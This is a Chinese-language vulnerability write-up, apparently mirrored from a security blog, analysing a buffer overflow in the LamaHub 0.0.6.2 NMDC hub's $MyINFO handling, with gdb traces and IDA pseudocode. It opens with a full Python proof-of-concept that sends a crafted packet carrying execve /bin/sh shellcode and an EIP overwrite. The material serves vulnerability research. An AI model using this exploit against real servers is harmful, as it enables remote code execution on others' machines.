43

LamaHub 0.0.62远程代码执行漏洞

 6 years ago
source link: http://www.whereisk0shl.top/post/2018-09-16?amp%3Butm_medium=referral
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.
neoserver,ios ssh client

作者:k0shl 转载请注明出处:https://whereisk0shl.top

漏洞说明

LamaHub是NMDC协议的一个客户端,NMDC协议主要负责的是P2P客户端服务器交互的一种协议,在LamaHub服务器处理客户端请求的时候,通过构造特殊的NMDC协议数据包,可以导致LamaHub在处理$MyINFO指令请求的时候产生缓冲区溢出,从而远程执行任意代码,下面对此漏洞进行分析。

软件下载:

http://ovh.dl.sourceforge.net/sourceforge/lamahub/LamaHub-0.0.6.2.tar.gz

PoC:

import socket

HOST = 'localhost'
PORT = 4111
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))

buf = ""
buf += "\x24\x53\x75\x70\x70\x6f\x72\x74\x73\x20\x55\x73"
buf += "\x6c\x6c\x6f\x20\x49\x50\x32\x20\x65\x61\x72\x63"
buf += "\x68\x20\x5a\x50\x65\x30\x20\x7c\x24\x4b\x65\x79"
buf += "\x61\x7c\x24\x56\x61\x6c\x69\x64\x61\x74\x65\x4e"
buf += "\x69\x63\x6b\x20\x50\x69\x65\x72\x72\x65\x7c\x24"
buf += "\x56\x65\x6e\x20\x31\x2c\x30\x30\x39\x31\x7c\x24"
buf += "\x47\x01\x00\x4e\x3b\x63\x6b\x4c\x69\x73\x74\x7c"
buf += "\x24\x4d\x79\x49\x4e\x46\x4f\x20\x24\x41\x4c\x4c"
buf += "\x20\x50\x69\x65\x72\x72\x65\x20\x4a\x65"

#NEED padding of 96
shellcode = "\x90" *30
shellcode += "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x89\xca\x6a\x0b\x58\xcd\x80"
shellcode += "\x90"*42
print "Shellcode len: "
print len(shellcode)

buf2 = "\x61\x3c"
buf2 += "\x3c\x24\x4d\x79\x80\x00\x35\x24\x70\x69\x24\x30"
buf2 += "\x24\x37\x37\x37\x37\x37\x37\x37\x37\x37\x37\x37"
buf2 += "\x37\xb1\xb1\xb1\xb1\xb1\xb1\xb1\xb1\xb1\xb1\xb1"
buf2 += "\xb1\xb1\xb1\xb1\xb1\xb1\xb1\xb1\xb1\xb1\xb1\xb1"
buf2 += "\xb1\xb1\xb1\xb1\xb1\xb1\xb1\xb1\xb1\xb1\xb1\xb1"
buf2 += "\xb1\xb1\xb1\xb1\xb1\xb1\xb1\xb1\xb1\xb1\xb1\xb1"
buf2 += "\xb1\x2c\x2c\x2c\x2c\x2c\x2c\x2c\x2c\x2c\x2c\x2c"
buf2 += "\x2c\x2c\x2c\x2c\x2c\x2c\x2c\x2c\x2c\x2c\x2c\x2c"
buf2 += "\x2c\x2c\x2c\x2c\x2c\x2c\x2c\x2c\x2c\x2c\x2c\x2c"
buf2 += "\x2c\x2c\x2c\x2c\x2c\x2c\x2c\x2c\x2c\x2c\x2c\x2c"
buf2 += "\x2c\x2c\x2c\x2c\x2c\x2c\x2c\x2c\x2c\x2c\x2c\x2c"
buf2 += "\x2c\x2c\x2c\x2c\x2c\x2c\x2c\x2c\x2c\x2c\x2c\x2c"
buf2 += "\x2c\x2c\x2c\x2c\x2c\x2c\x2c\x2c\x2c\x2c\x2c\x2c"
buf2 += "\x2c\x2c\x2c\x2c\x2c\x2c\x2c\x2c"

eip_overwrite = "\x2a\x6a\x06\x08"
#eip_overwrite = "AAAA"
buf3 = "\xd6\x26\x06\x08\xb1\xb1\xb1\xb1\xb1\xb1\xb1\xb1"
buf3 += "\xb1\xb1\xb1\xb1\x37\x37\x30\x2c\x49\x4e\x46\x4f"
buf3 += "\x24\xca\xca\xca\xca\x20\x5a\x50\x65\x30\x20\x7c"
buf3 += "\x24\x4b\x65\x79\x61\x7c\x24\x56\x20\x41\x20\x30"
buf3 += "\x61\x7c\x24\x56\x69\x63\x6b\x20\x50\x69\xca\xca"
buf3 += "\x0a"

# Send EVIL PACKET !
s.sendall(buf + shellcode + buf2 + eip_overwrite + buf3)
s.close()

漏洞复现

首先部署LamaHub,用gdb attach,运行PoC,服务端崩溃,可以查看崩溃时的信息。

gdb-peda$ run
Starting program: /root/Desktop/0.0.6.2/server 
> ERROR -> Plugin -> File plugins.conf dont found
> init () -> OK
> started on port -> 4111
> new client -> 127.0.0.1 -> 4

Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
EAX: 0x1 
EBX: 0x2c2c2c2c (',,,,')
ECX: 0x0 
EDX: 0x5 
ESI: 0x2c2c2c2c (',,,,')
EDI: 0x2c2c2c2c (',,,,')
EBP: 0x2c2c2c2c (',,,,')
ESP: 0xbffff2c0 --> 0x80626d6 --> 0x0 
EIP: 0x8066a2a ("idateNick Pierre|$Ven 1,0091|$G\001")
EFLAGS: 0x10286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x8066a27 <buf+39>:  push   esi
   0x8066a28 <buf+40>:  popa   
   0x8066a29 <buf+41>:  ins    BYTE PTR es:[edi],dx
=> 0x8066a2a <buf+42>:  imul   esp,DWORD PTR [ecx+eiz*2+0x74],0x63694e65
   0x8066a32 <buf+50>:  imul   esp,DWORD PTR [eax],0x50
   0x8066a35 <buf+53>:  imul   esp,DWORD PTR [ebp+0x72],0x247c6572
   0x8066a3c <buf+60>:  push   esi
   0x8066a3d <buf+61>:  outs   dx,BYTE PTR gs:[esi]
[------------------------------------stack-------------------------------------]
0000| 0xbffff2c0 --> 0x80626d6 --> 0x0 
0004| 0xbffff2c4 --> 0xb1b1b1b1 
0008| 0xbffff2c8 --> 0xb1b1b1b1 
0012| 0xbffff2cc --> 0xb1b1b1b1 
0016| 0xbffff2d0 ("770,INFO$\312\312\312\312 ZPe0 |\b\363\377\277")
0020| 0xbffff2d4 ("INFO$\312\312\312\312 ZPe0 |\b\363\377\277")
0024| 0xbffff2d8 --> 0xcacaca24 
0028| 0xbffff2dc --> 0x505a20ca 
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x08066a2a in buf ()

可以看到,此时程序处于08066a2a地址位置,通过PoC,此时是处于返回地址eip部署的恶意地址,这个是PoC给出的,根据系统可以修改eip地址使其跳转到shellcode,通过bt查看一下堆栈回溯。

gdb-peda$ bt
#0  0x08066a2a in buf ()
#1  0x080626d6 in buf ()
#2  0xb1b1b1b1 in ?? ()
#3  0xb1b1b1b1 in ?? ()
#4  0xb1b1b1b1 in ?? ()
#5  0x2c303737 in ?? ()
#6  0x4f464e49 in ?? ()
#7  0xcacaca24 in ?? ()
#8  0x505a20ca in ?? ()
#9  0x7c203065 in ?? ()
#10 0xbffff308 in ?? ()
Backtrace stopped: previous frame inner to this frame (corrupt stack?)

由于NMDC数据包构造的原因,后续堆栈已经被畸形payload覆盖,导致回溯失败,通过正向分析可以找到这个漏洞的成因。

漏洞分析

通过IDA pro分析可以找到两处recv,在LamaHub接收数据的时候势必会调用recv函数,在这两处recv下断点。

gdb-peda$ b *0x08052ef7
Breakpoint 1 at 0x8052ef7
gdb-peda$ r
Starting program: /root/Desktop/0.0.6.2/server 
> init () -> OK
> started on port -> 4111
> new client -> 127.0.0.1 -> 4
[----------------------------------registers-----------------------------------]
EAX: 0x4 
EBX: 0x806c610 --> 0x80670c0 (0x0806c610)
ECX: 0x4 
EDX: 0x10 
ESI: 0x0 
EDI: 0x0 
EBP: 0xbffff438 --> 0x0 
ESP: 0xbffff3f0 --> 0x4 
EIP: 0x8052ef7 (<loop+231>: call   0x8049210 <recv@plt>)
EFLAGS: 0x203 (CARRY parity adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x8052eea <loop+218>:    push   0x8066a00
   0x8052eef <loop+223>:    push   ecx
   0x8052ef0 <loop+224>:    mov    BYTE PTR ds:0x8066a00,0x0
=> 0x8052ef7 <loop+231>:    call   0x8049210 <recv@plt>
   0x8052efc <loop+236>:    add    esp,0x10
   0x8052eff <loop+239>:    test   eax,eax
   0x8052f01 <loop+241>:    mov    ds:0x8062b04,eax
   0x8052f06 <loop+246>:    je     0x8052f40 <loop+304>
Guessed arguments:
arg[0]: 0x4 
arg[1]: 0x8066a00 --> 0x0 
arg[2]: 0x3ff 
arg[3]: 0x0

发送payload后,程序命中了一处断点,之后单步步过。

gdb-peda$ n
[----------------------------------registers-----------------------------------]
EAX: 0x1b1 
EBX: 0x806c610 --> 0x80670c0 (0x0806c610)
ECX: 0xbffff3f0 --> 0x4 
EDX: 0x806c610 --> 0x80670c0 (0x0806c610)
ESI: 0x0 
EDI: 0x0 
EBP: 0xbffff438 --> 0x0 
ESP: 0xbffff3f0 --> 0x4 
EIP: 0x8052efc (<loop+236>: add    esp,0x10)
EFLAGS: 0x217 (CARRY PARITY ADJUST zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x8052eef <loop+223>:    push   ecx
   0x8052ef0 <loop+224>:    mov    BYTE PTR ds:0x8066a00,0x0
   0x8052ef7 <loop+231>:    call   0x8049210 <recv@plt>
=> 0x8052efc <loop+236>:    add    esp,0x10
   0x8052eff <loop+239>:    test   eax,eax
   0x8052f01 <loop+241>:    mov    ds:0x8062b04,eax
   0x8052f06 <loop+246>:    je     0x8052f40 <loop+304>
   0x8052f08 <loop+248>:    mov    BYTE PTR [eax+0x8066a00],0x0
[------------------------------------stack-------------------------------------]
0000| 0xbffff3f0 --> 0x4 
0004| 0xbffff3f4 --> 0x8066a00 ("$Supports Usllo IP2 earch ZPe0 |$Keya|$ValidateNick Pierre|$Ven 1,0091|$G\001")
0008| 0xbffff3f8 --> 0x3ff 
0012| 0xbffff3fc --> 0x0 
0016| 0xbffff400 --> 0x0 
0020| 0xbffff404 --> 0x0 
0024| 0xbffff408 --> 0x3 
0028| 0xbffff40c --> 0x1 
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
0x08052efc in loop ()

可以看到,此时堆0x08066a00位置接收了数据包并且进行了保存,查看一下这个堆中的内容。

gdb-peda$ x/100x 0x08066a00
0x8066a00 <buf>:    0x70755324  0x74726f70  0x73552073  0x206f6c6c
0x8066a10 <buf+16>: 0x20325049  0x63726165  0x505a2068  0x7c203065
0x8066a20 <buf+32>: 0x79654b24  0x56247c61  0x64696c61  0x4e657461
0x8066a30 <buf+48>: 0x206b6369  0x72656950  0x247c6572  0x206e6556
0x8066a40 <buf+64>: 0x30302c31  0x247c3139  0x4e000147  0x4c6b633b
0x8066a50 <buf+80>: 0x7c747369  0x49794d24  0x204f464e  0x4c4c4124
0x8066a60 <buf+96>: 0x65695020  0x20657272  0x9090654a  0x90909090
0x8066a70 <buf+112>:    0x90909090  0x90909090  0x90909090  0x90909090
0x8066a80 <buf+128>:    0x90909090  0x90909090  0x6850c031  0x68732f2f
0x8066a90 <buf+144>:    0x69622f68  0x31e3896e  0x6aca89c9  0x80cd580b
0x8066aa0 <buf+160>:    0x90909090  0x90909090  0x90909090  0x90909090
0x8066ab0 <buf+176>:    0x90909090  0x90909090  0x90909090  0x90909090
0x8066ac0 <buf+192>:    0x90909090  0x90909090  0x3c619090  0x794d243c
0x8066ad0 <buf+208>:    0x24350080  0x30246970  0x37373724  0x37373737
0x8066ae0 <buf+224>:    0x37373737  0xb1b1b137  0xb1b1b1b1  0xb1b1b1b1
0x8066af0 <buf+240>:    0xb1b1b1b1  0xb1b1b1b1  0xb1b1b1b1  0xb1b1b1b1
0x8066b00 <buf+256>:    0xb1b1b1b1  0xb1b1b1b1  0xb1b1b1b1  0xb1b1b1b1
0x8066b10 <buf+272>:    0xb1b1b1b1  0x2c2c2cb1  0x2c2c2c2c  0x2c2c2c2c
0x8066b20 <buf+288>:    0x2c2c2c2c  0x2c2c2c2c  0x2c2c2c2c  0x2c2c2c2c
0x8066b30 <buf+304>:    0x2c2c2c2c  0x2c2c2c2c  0x2c2c2c2c  0x2c2c2c2c
0x8066b40 <buf+320>:    0x2c2c2c2c  0x2c2c2c2c  0x2c2c2c2c  0x2c2c2c2c
0x8066b50 <buf+336>:    0x2c2c2c2c  0x2c2c2c2c  0x2c2c2c2c  0x2c2c2c2c
0x8066b60 <buf+352>:    0x2c2c2c2c  0x2c2c2c2c  0x2c2c2c2c  0x2c2c2c2c
0x8066b70 <buf+368>:    0x08066a2a  0x080626d6  0xb1b1b1b1  0xb1b1b1b1
0x8066b80 <buf+384>:    0xb1b1b1b1  0x2c303737  0x4f464e49  0xcacaca24
0x8066b90 <buf+400>:    0x505a20ca  0x7c203065  0x79654b24  0x56247c61
0x8066ba0 <buf+416>:    0x30204120  0x56247c61  0x206b6369  0xcaca6950

畸形数据已经全被被接收了,接下来单步跟踪。在接收到数据之后,会到达一处调用parse_token,这个主要是负责验证逻辑。

gdb-peda$ n
[----------------------------------registers-----------------------------------]
EAX: 0x1b1 
EBX: 0x806c610 --> 0x80670c0 (0x0806c610)
ECX: 0xbffff3f0 --> 0x806c610 --> 0x80670c0 (0x0806c610)
EDX: 0x806c610 --> 0x80670c0 (0x0806c610)
ESI: 0x0 
EDI: 0x0 
EBP: 0xbffff438 --> 0x0 
ESP: 0xbffff3f0 --> 0x806c610 --> 0x80670c0 (0x0806c610)
EIP: 0x8052e82 (<loop+114>: call   0x8050cf0 <parse_token>)
EFLAGS: 0x296 (carry PARITY ADJUST zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x8052e7b <loop+107>:    push   eax
   0x8052e7c <loop+108>:    push   0x8066a00
   0x8052e81 <loop+113>:    push   ebx
=> 0x8052e82 <loop+114>:    call   0x8050cf0 <parse_token>
   0x8052e87 <loop+119>:    add    esp,0x10
   0x8052e8a <loop+122>:    cmp    eax,0xffffffff
   0x8052e8d <loop+125>:    je     0x8052f4c <loop+316>
   0x8052e93 <loop+131>:    sub    esp,0xc
Guessed arguments:
arg[0]: 0x806c610 --> 0x80670c0 (0x0806c610)
arg[1]: 0x8066a00 ("$Supports Usllo IP2 earch ZPe0 |$Keya|$ValidateNick Pierre|$Ven 1,0091|$G\001")
arg[2]: 0x1b1

可以看到这处验证逻辑第二个参数就是畸形payload,接下来分析这处验证逻辑。通过IDA pro查看一下这个函数伪代码。

int __cdecl parse_token(void *a1, char *src, size_t a3)
{
  signed __int32 v3; // edx@1
  int result; // eax@2
  char *v5; // ebp@3
  signed int v6; // ebx@3
  signed __int32 v7; // ecx@7
  char *v8; // edi@15
  char *v9; // esi@15
  signed int v10; // ecx@17
  signed __int32 v11; // ST2C_4@19
  signed int v12; // [sp+Ch] [bp-30h]@3
  unsigned int n; // [sp+10h] [bp-2Ch]@14

  v3 = a3;
  if ( *src == 60 )
    return proto_state_handler(a1, src, a3);
  result = 1;
  if ( (signed int)a3 > 0 )
  {
    v5 = src;
    result = 1;
    v6 = 0;
    v12 = -1;
    while ( 1 )
    {
      if ( *v5 != 36 || v12 >= v6 )
        goto LABEL_12;
      if ( v3 < v6 )
        break;
      v7 = v6;
      do
        ++v7;
      while ( src[v7] != 124 && v7 <= v3 );
      if ( v7 - v6 == -1 )
        return 0;
      if ( v7 - v6 + 1 <= 1023 )
      {
        n = v7 - v6 + 1;
        v12 = v7;
        goto LABEL_15;
      }
LABEL_12:
      ++v6;
      ++v5;
      if ( v6 == v3 )
        return result;
    }
    v12 = v6;
    n = 1;
LABEL_15:
    v8 = &token_buf;
    v9 = v5;
    if ( n >= 4 )
    {
      qmemcpy(&token_buf, v5, 4 * (n >> 2));
      v9 = &v5[4 * (n >> 2)];
      v8 = &token_buf + 4 * (n >> 2);
    }
    v10 = 0;
    if ( n & 2 )
    {
      *(_WORD *)v8 = *(_WORD *)v9;
      v10 = 2;
      if ( !(n & 1) )
      {
LABEL_19:
        v11 = v3;
        *(&token_buf + n) = 0;
        result = proto_state_handler(a1, &token_buf, n);
        v3 = v11;
        if ( result == -1 )
          return -1;
        goto LABEL_12;
      }
    }
    else if ( !(n & 1) )
    {
      goto LABEL_19;
    }
    v8[v10] = v9[v10];
    goto LABEL_19;
  }
  return result;
}

在LABEL_19块中,调用了一个函数proto_state_handler,主要是负责处理协议句柄的,其中涉及到一个token_buf,单步跟踪观察这个proto_state_handler函数调用的传参情况。

[----------------------------------registers-----------------------------------]
EAX: 0x20 (' ')
EBX: 0x0 
ECX: 0x0 
EDX: 0x1b1 
ESI: 0x8066a20 ("$Keya|$ValidateNick Pierre|$Ven 1,0091|$G\001")
EDI: 0x8062720 --> 0x0 
EBP: 0x8066a00 ("$Supports Usllo IP2 earch ZPe0 |$Keya|$ValidateNick Pierre|$Ven 1,0091|$G\001")
ESP: 0xbffff3a0 --> 0x806c610 --> 0x80670c0 (0x0806c610)
EIP: 0x8050ddb (<parse_token+235>:  call   0x80551b0 <proto_state_handler>)
EFLAGS: 0x296 (carry PARITY ADJUST zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x8050dcb <parse_token+219>: push   0x8062700
   0x8050dd0 <parse_token+224>: push   DWORD PTR [esp+0x24]
   0x8050dd4 <parse_token+228>: mov    BYTE PTR [eax+0x8062700],0x0
=> 0x8050ddb <parse_token+235>: call   0x80551b0 <proto_state_handler>
   0x8050de0 <parse_token+240>: add    esp,0x10
   0x8050de3 <parse_token+243>: cmp    eax,0xffffffff
   0x8050de6 <parse_token+246>: mov    edx,DWORD PTR [esp+0x1c]
   0x8050dea <parse_token+250>: jne    0x8050d78 <parse_token+136>
No argument
[------------------------------------stack-------------------------------------]
0000| 0xbffff3a0 --> 0x806c610 --> 0x80670c0 (0x0806c610)
0004| 0xbffff3a4 --> 0x8062700 ("$Supports Usllo IP2 earch ZPe0 |")
0008| 0xbffff3a8 --> 0x20 (' ')
0012| 0xbffff3ac --> 0x0 
0016| 0xbffff3b0 --> 0xbffff438 --> 0x0 
0020| 0xbffff3b4 --> 0xb7de16b8 --> 0x1785 
0024| 0xbffff3b8 --> 0x79 ('y')
0028| 0xbffff3bc --> 0x1f

这个token_buf的内容是$Supports,其实这个主要是NDMC的协议处理,而在parse_token的开始部分,会先处理这个数据包,将数据包内容拆分。接下来直接执行,会第二次到达断点。

[-------------------------------------code-------------------------------------]
   0x8050dcb <parse_token+219>: push   0x8062700
   0x8050dd0 <parse_token+224>: push   DWORD PTR [esp+0x24]
   0x8050dd4 <parse_token+228>: mov    BYTE PTR [eax+0x8062700],0x0
=> 0x8050ddb <parse_token+235>: call   0x80551b0 <proto_state_handler>
   0x8050de0 <parse_token+240>: add    esp,0x10
   0x8050de3 <parse_token+243>: cmp    eax,0xffffffff
   0x8050de6 <parse_token+246>: mov    edx,DWORD PTR [esp+0x1c]
   0x8050dea <parse_token+250>: jne    0x8050d78 <parse_token+136>
No argument
[------------------------------------stack-------------------------------------]
0000| 0xbffff3a0 --> 0x806c610 --> 0x80670c0 (0x0806c610)
0004| 0xbffff3a4 --> 0x8062700 ("$Keya|")

继续执行,第三次命中

[-------------------------------------code-------------------------------------]
   0x8050dcb <parse_token+219>: push   0x8062700
   0x8050dd0 <parse_token+224>: push   DWORD PTR [esp+0x24]
   0x8050dd4 <parse_token+228>: mov    BYTE PTR [eax+0x8062700],0x0
=> 0x8050ddb <parse_token+235>: call   0x80551b0 <proto_state_handler>
   0x8050de0 <parse_token+240>: add    esp,0x10
   0x8050de3 <parse_token+243>: cmp    eax,0xffffffff
   0x8050de6 <parse_token+246>: mov    edx,DWORD PTR [esp+0x1c]
   0x8050dea <parse_token+250>: jne    0x8050d78 <parse_token+136>
No argument
[------------------------------------stack-------------------------------------]
0000| 0xbffff3a0 --> 0x806c610 --> 0x80670c0 (0x0806c610)
0004| 0xbffff3a4 --> 0x8062700 ("$ValidateNick Pierre|")
0008| 0xbffff3a8 --> 0x15 
0012| 0xbffff3ac --> 0x0 
0016| 0xbffff3b0 --> 0xbffff438 --> 0x0 
0020| 0xbffff3b4 --> 0xb7de16b8 --> 0x1785 
0024| 0xbffff3b8 --> 0x79 ('y')
0028| 0xbffff3bc --> 0x3a (':')

可以看到每次都获取到|分割线后的内容,接下来直接执行到包含畸形字符串的部分。

[-------------------------------------code-------------------------------------]
   0x8050dcb <parse_token+219>: push   0x8062700
   0x8050dd0 <parse_token+224>: push   DWORD PTR [esp+0x24]
   0x8050dd4 <parse_token+228>: mov    BYTE PTR [eax+0x8062700],0x0
=> 0x8050ddb <parse_token+235>: call   0x80551b0 <proto_state_handler>
   0x8050de0 <parse_token+240>: add    esp,0x10
   0x8050de3 <parse_token+243>: cmp    eax,0xffffffff
   0x8050de6 <parse_token+246>: mov    edx,DWORD PTR [esp+0x1c]
   0x8050dea <parse_token+250>: jne    0x8050d78 <parse_token+136>
No argument
[------------------------------------stack-------------------------------------]
0000| 0xbffff3a0 --> 0x806c610 --> 0x80670c0 (0x0806c610)
0004| 0xbffff3a4 --> 0x8062700 ("$MyINFO $ALL Pierre Je", '\220' <repeats 30 times>, "\061\300Ph//shh/bin\211\343\061?\312j\vX?", '\220' <repeats 42 times>, "a<<$My\200")
0008| 0xbffff3a8 --> 0x144 
0012| 0xbffff3ac --> 0x0 
0016| 0xbffff3b0 --> 0xbffff438 --> 0x0 
0020| 0xbffff3b4 --> 0xb7de16b8 --> 0x1785 
0024| 0xbffff3b8 --> 0x79 ('y')
0028| 0xbffff3bc --> 0x197 
[------------------------------------------------------------------------------]

第二个参数作为畸形字符串传入,其中涉及到指令$MyINFO,就从这里跟入看看函数内部到底发生了什么。

int proto_state_handler (user_t *u, char *data, unsigned int len)
{
    switch (u->state) {
        case PROTO_STATE_INIT:      // new user connected
             return proto_nmdc_state_init (u);
        case PROTO_STATE_SENDLOCK:  // waiting for user $Key
             return proto_nmdc_state_sendlock (u, data, len);
        case PROTO_STATE_WAITNICK:  // waiting for user $ValidateNick
             return proto_nmdc_state_waitnick (u, data, len);
        case PROTO_STATE_WAITPASS:  // waiting for user $GetPass
                 return proto_nmdc_state_waitpass (u, data, len);
        case PROTO_STATE_HELLO:     // waiting for user $MyINFO
             return proto_nmdc_state_hello (u, data, len);
        case PROTO_STATE_ONLINE:    // user is avaible now
             return proto_nmdc_state_online (u, data, len);
        case PROTO_STATE_DISCONNECTED:  // user gone out    $Quit
             return proto_nmdc_state_disconnect (u);
    }

进入后会到达一处switch逻辑,这个switch会根据user_t的类型进行判断,根据情况进行处理,在$MyINFO会进入proto_nmdc_state_hello函数。

gdb-peda$ n
[----------------------------------registers-----------------------------------]
EAX: 0x4 
EBX: 0x806c610 --> 0x80670c0 (0x0806c610)
ECX: 0x0 
EDX: 0x1b1 
ESI: 0x8066b98 ("$Keya|$V A 0a|$Vick Pi\312\312\n")
EDI: 0x8062844 --> 0x0 
EBP: 0x8066a54 ("$MyINFO $ALL Pierre Je", '\220' <repeats 30 times>, "\061\300Ph//shh/bin\211\343\061?\312j\vX?", '\220' <repeats 42 times>, "a<<$My\200")
ESP: 0xbffff2c0 --> 0x806c610 --> 0x80670c0 (0x0806c610)
EIP: 0x805534a (<proto_state_handler+410>:  call   0x80539e0 <proto_nmdc_state_hello>)
EFLAGS: 0x296 (carry PARITY ADJUST zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x805533b <proto_state_handler+395>: push   DWORD PTR [esp+0xdc]
   0x8055342 <proto_state_handler+402>: push   DWORD PTR [esp+0xdc]
   0x8055349 <proto_state_handler+409>: push   ebx
=> 0x805534a <proto_state_handler+410>: call   0x80539e0 <proto_nmdc_state_hello>
   0x805534f <proto_state_handler+415>: add    esp,0x10
   0x8055352 <proto_state_handler+418>: add    esp,0xc0
   0x8055358 <proto_state_handler+424>: pop    ebx
   0x8055359 <proto_state_handler+425>: pop    esi
Guessed arguments:
arg[0]: 0x806c610 --> 0x80670c0 (0x0806c610)
arg[1]: 0x8062700 ("$MyINFO $ALL Pierre Je", '\220' <repeats 30 times>, "\061\300Ph//shh/bin\211\343\061?\312j\vX?", '\220' <repeats 42 times>, "a<<$My\200")
arg[2]: 0x144 
[------------------------------------stack-------------------------------------]
0000| 0xbffff2c0 --> 0x806c610 --> 0x80670c0 (0x0806c610)
0004| 0xbffff2c4 --> 0x8062700 ("$MyINFO $ALL Pierre Je", '\220' <repeats 30 times>, "\061\300Ph//shh/bin\211\343\061?\312j\vX?", '\220' <repeats 42 times>, "a<<$My\200")
0008| 0xbffff2c8 --> 0x144 
0012| 0xbffff2cc --> 0x80553a1 (<proto_state_handler+497>:  jmp    0x80551fa <proto_state_handler+74>)
0016| 0xbffff2d0 --> 0x1

进入之后会根据$MyINFO内部的内容进行一些处理。比如

gdb-peda$ n
[----------------------------------registers-----------------------------------]
EAX: 0x13 
EBX: 0x8062700 ("$MyINFO $ALL Pierre Je", '\220' <repeats 30 times>, "\061\300Ph//shh/bin\211\343\061?\312j\vX?", '\220' <repeats 42 times>, "a<<$My\200")
ECX: 0x7 
EDX: 0x6 
ESI: 0x8062702 ("yINFO $ALL Pierre Je", '\220' <repeats 30 times>, "\061\300Ph//shh/bin\211\343\061?\312j\vX?", '\220' <repeats 42 times>, "a<<$My\200")
EDI: 0x805ac4b ("$MyINFO")
EBP: 0x0 
ESP: 0xbfffefc0 --> 0xbffff000 --> 0xfbad8001 
EIP: 0x8053a3d (<proto_nmdc_state_hello+93>:    mov    esi,ebx)
EFLAGS: 0x202 (carry parity adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x8053a2d <proto_nmdc_state_hello+77>:   jbe    0x8053d20 <proto_nmdc_state_hello+832>
   0x8053a33 <proto_nmdc_state_hello+83>:   mov    ecx,0x7
   0x8053a38 <proto_nmdc_state_hello+88>:   mov    edi,0x805ac4b
=> 0x8053a3d <proto_nmdc_state_hello+93>:   mov    esi,ebx
   0x8053a3f <proto_nmdc_state_hello+95>:   repz cmps BYTE PTR ds:[esi],BYTE PTR es:[edi]
   0x8053a41 <proto_nmdc_state_hello+97>:   seta   cl
   0x8053a44 <proto_nmdc_state_hello+100>:  setb   al
   0x8053a47 <proto_nmdc_state_hello+103>:  sub    ecx,eax
[------------------------------------stack-------------------------------------]
0000| 0xbfffefc0 --> 0xbffff000 --> 0xfbad8001 
0004| 0xbfffefc4 --> 0xbffff230 ("$Hello Pierre|")
0008| 0xbfffefc8 --> 0xb7e1c21b (<_IO_vfprintf_internal+11>:    add    ebx,0x162de5)
0012| 0xbfffefcc --> 0xb7f7f000 --> 0x1a5da8 
0016| 0xbfffefd0 --> 0xbffff000 --> 0xfbad8001 
0020| 0xbfffefd4 --> 0xbffff230 ("$Hello Pierre|")
0024| 0xbfffefd8 --> 0x806c610 --> 0x80670c0 (0x0806c610)
0028| 0xbfffefdc --> 0xb7e3e702 (<__IO_vsprintf+146>:   mov    edx,DWORD PTR [esp+0x34])
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
0x08053a3d in proto_nmdc_state_hello ()
gdb-peda$ n
[----------------------------------registers-----------------------------------]
EAX: 0x13 
EBX: 0x8062700 ("$MyINFO $ALL Pierre Je", '\220' <repeats 30 times>, "\061\300Ph//shh/bin\211\343\061?\312j\vX?", '\220' <repeats 42 times>, "a<<$My\200")
ECX: 0x7 
EDX: 0x6 
ESI: 0x8062700 ("$MyINFO $ALL Pierre Je", '\220' <repeats 30 times>, "\061\300Ph//shh/bin\211\343\061?\312j\vX?", '\220' <repeats 42 times>, "a<<$My\200")
EDI: 0x805ac4b ("$MyINFO")
EBP: 0x0 
ESP: 0xbfffefc0 --> 0xbffff000 --> 0xfbad8001 
EIP: 0x8053a3f (<proto_nmdc_state_hello+95>:    repz cmps BYTE PTR ds:[esi],BYTE PTR es:[edi])
EFLAGS: 0x202 (carry parity adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x8053a33 <proto_nmdc_state_hello+83>:   mov    ecx,0x7
   0x8053a38 <proto_nmdc_state_hello+88>:   mov    edi,0x805ac4b
   0x8053a3d <proto_nmdc_state_hello+93>:   mov    esi,ebx
=> 0x8053a3f <proto_nmdc_state_hello+95>:   repz cmps BYTE PTR ds:[esi],BYTE PTR es:[edi]
   0x8053a41 <proto_nmdc_state_hello+97>:   seta   cl
   0x8053a44 <proto_nmdc_state_hello+100>:  setb   al
   0x8053a47 <proto_nmdc_state_hello+103>:  sub    ecx,eax
   0x8053a49 <proto_nmdc_state_hello+105>:  movsx  ebp,cl
[------------------------------------stack-------------------------------------]
0000| 0xbfffefc0 --> 0xbffff000 --> 0xfbad8001 
0004| 0xbfffefc4 --> 0xbffff230 ("$Hello Pierre|")
0008| 0xbfffefc8 --> 0xb7e1c21b (<_IO_vfprintf_internal+11>:    add    ebx,0x162de5)
0012| 0xbfffefcc --> 0xb7f7f000 --> 0x1a5da8 
0016| 0xbfffefd0 --> 0xbffff000 --> 0xfbad8001 
0020| 0xbfffefd4 --> 0xbffff230 ("$Hello Pierre|")
0024| 0xbfffefd8 --> 0x806c610 --> 0x80670c0 (0x0806c610)
0028| 0xbfffefdc --> 0xb7e3e702 (<__IO_vsprintf+146>:   mov    edx,DWORD PTR [esp+0x34])
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
0x08053a3f in proto_nmdc_state_hello ()

这里会对$MyINFO中的$Hello Pierre后的指令进行处理,在后面会对这个内容进行拷贝

gdb-peda$ c
Continuing.
[----------------------------------registers-----------------------------------]
EAX: 0x806c320 --> 0x80670c0 (0x0806c320)
EBX: 0x8062700 ("$MyINFO $ALL Pierre Je", '\220' <repeats 30 times>, "\061\300Ph//shh/bin\211\343\061?\312j\vX?", '\220' <repeats 42 times>, "a<<$My\200")
ECX: 0xb7e65000 (<__strncpy_sse2+3504>: mov    DWORD PTR [edi],edx)
